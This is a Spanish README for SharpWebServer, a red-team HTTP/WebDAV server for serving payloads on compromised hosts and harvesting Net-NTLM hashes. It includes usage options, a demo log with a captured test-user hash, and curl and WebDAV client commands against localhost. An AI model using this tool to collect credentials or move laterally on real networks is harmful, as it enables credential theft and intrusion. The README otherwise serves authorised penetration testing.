
Servidor HTTP y WebDAV simple en C# orientado al Red Team con funcionalidad de captura de hashes Net-NTLM
Un servidor simple HTTP & WebDAV orientado a Red Team, escrito en C#, con funcionalidad para capturar hashes Net-NTLM. Se utiliza para servir payloads en máquinas comprometidas con fines de movimiento lateral.
Requiere .NET Framework 4.5 y las referencias System.Net y System.Net.Sockets.
:: SharpWebServer ::
un servidor HTTP simple en C# orientado a Red Team con captura de hashes Net-NTLMv1/2
Autores:
- Can Güney Aksakalli (github.com/aksakalli) - implementación original
- harrypatrick442 (github.com/harrypatrick442) - fork y cambios de aksakalli
- Dominic Chell (@domchell) de MDSec - código de captura de hashes Net-NTLMv2 tomado de Farmer
- Mariusz Banach / mgeeky, <mb [at] binary-offensive.com> - combinó todos los bloques,
añadió keep-alive de conexión a la autenticación NTLM
Uso:
SharpWebServer.exe <port=port> [dir=path] [verbose=true] [ntlm=true] [redir=true] [logfile=path]
Opciones:
port - Número de puerto TCP en el que escuchar (1-65535)
dir - Directorio con los archivos a servir.
verbose - Activar modo verbose.
seconds - Especifica cuánto tiempo debe ejecutarse el servidor. Por defecto: indefinido
ntlm - Exigir autenticación NTLM antes de servir archivos. Útil para recolectar hashes NetNTLM
(al estilo Farmer de MDSec)
redir - Redirigir después de la autenticación NTLM basándose en el parámetro redir en la URL (p.ej. ?redir=https://example.com)
logfile - Ruta al archivo de registro de salida.
Caso de uso de ejemplo sirviendo archivos y capturando hashes Net-NTLM al mismo tiempo:
Servidor:
C:\> SharpWebServer.exe port=8888 dir=C:\Windows\Temp verbose=true ntlm=true
:: SharpWebServer ::
un servidor HTTP simple y WebDAV en C# orientado a Red Team con captura de hashes Net-NTLM
[.] Sirviendo servidor HTTP en el puerto : 8888
[.] Se ejecutará durante : 60 segundos
[.] Modo verbose activado.
[.] Modo NTLM activado.
[.] Sirviendo archivos desde el directorio : C:\Windows\Temp
SharpWebServer [29.03.21, 17:55:14] NTLM: Enviando 401 No autorizado debido a falta de cabecera Authorization.
SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - len: 0 (401)
SharpWebServer [29.03.21, 17:55:14] NTLM: Enviando 401 No autorizado con respuesta de desafío NTLM.
SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - len: 0 (401)
[+] SharpWebServer: Hash Net-NTLM capturado:
TestUser:::1122334455667788:66303EE2DF9417E2FE07E1B7FD663205:010100000000000092EC04E8B324D701C2B561D5FECBB325000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C00080030003000000000000000010000000020000045E18A336DA58F5F0F826F846C699F77DCCF02BA5135525AC52EFBB0C0A1F1160A0010000000000000000000000000000000000009001C0048005400540050002F006C006F00630061006C0068006F00730074000000000000000000
SharpWebServer [29.03.21, 17:55:14] ::1 - "GET /test.txt" - len: 11 (200)
Cliente:
C:\> curl -sD- http://localhost:8888/test.txt --ntlm --negotiate -u TestUser:TestPassword
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
WWW-Authenticate: NTLM
Date: Mon, 29 Mar 2021 15:55:14 GMT
HTTP/1.1 401 Unauthorized
Transfer-Encoding: chunked
WWW-Authenticate: NTLM TlRMTVNTUAACAAAABgAGADgAAAAFAomiESIzRFVmd4gAAAAAAAAAAIAAgAA+AAAABQLODgAAAA9TAE0AQgACAAYAUwBNAEIAAQAWAFMATQBCAC0AVABPAE8ATABLAEkAVAAEABIAcwBtAGIALgBsAG8AYwBhAGwAAwAoAHMAZQByAHYAZQByADIAMAAwADMALgBzAG0AYgAuAGwAbwBjAGEAbAAFABIAcwBtAGIALgBsAG8AYwBhAGwAAAAAAA==
Date: Mon, 29 Mar 2021 15:55:14 GMT
HTTP/1.1 200 OK
Content-Length: 6
Content-Type: text/plain
Date: Mon, 29 Mar 2021 15:55:14 GMT
foobar
Cliente WebDAV:
C:\> dir \\localhost@8888\test
Volume in drive \\localhost@8888\test has no label.
Volume Serial Number is 0000-0000
Directory of \\localhost@8888\test
30.03.2021 05:12 <DIR> .
30.03.2021 05:12 <DIR> ..
30.03.2021 04:27 11 test2.txt
30.03.2021 05:12 12 test3.txt
30.03.2021 05:12 <DIR> test4
2 File(s) 23 bytes
3 Dir(s) 225 268 776 960 bytes free
C:\> type \\localhost@8888\test\test4\test5.txt
Hello world!
C:\> copy \\localhost@8888\test\test4\test5.txt .
1 file(s) copied.
Código de captura de hashes NTLM y esqueleto del listener TCP tomado del proyecto Farmer de MDSec ActiveBreach, escrito por Dominic Chell (@domchell):
Implementación WebDAV, lógica de keep-alive de autenticación NTLM y todo lo demás Mariusz Banach / mgeeky, '21, <mb [at] binary-offensive.com>
Este y otros proyectos son el resultado de noches sin dormir y mucho trabajo duro. Si te gusta lo que hago y aprecias que siempre devuelvo algo a la comunidad, Considera invitarme un café (o mejor una cerveza) solo para darme las gracias! 💪
Mariusz Banach / mgeeky, 21
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)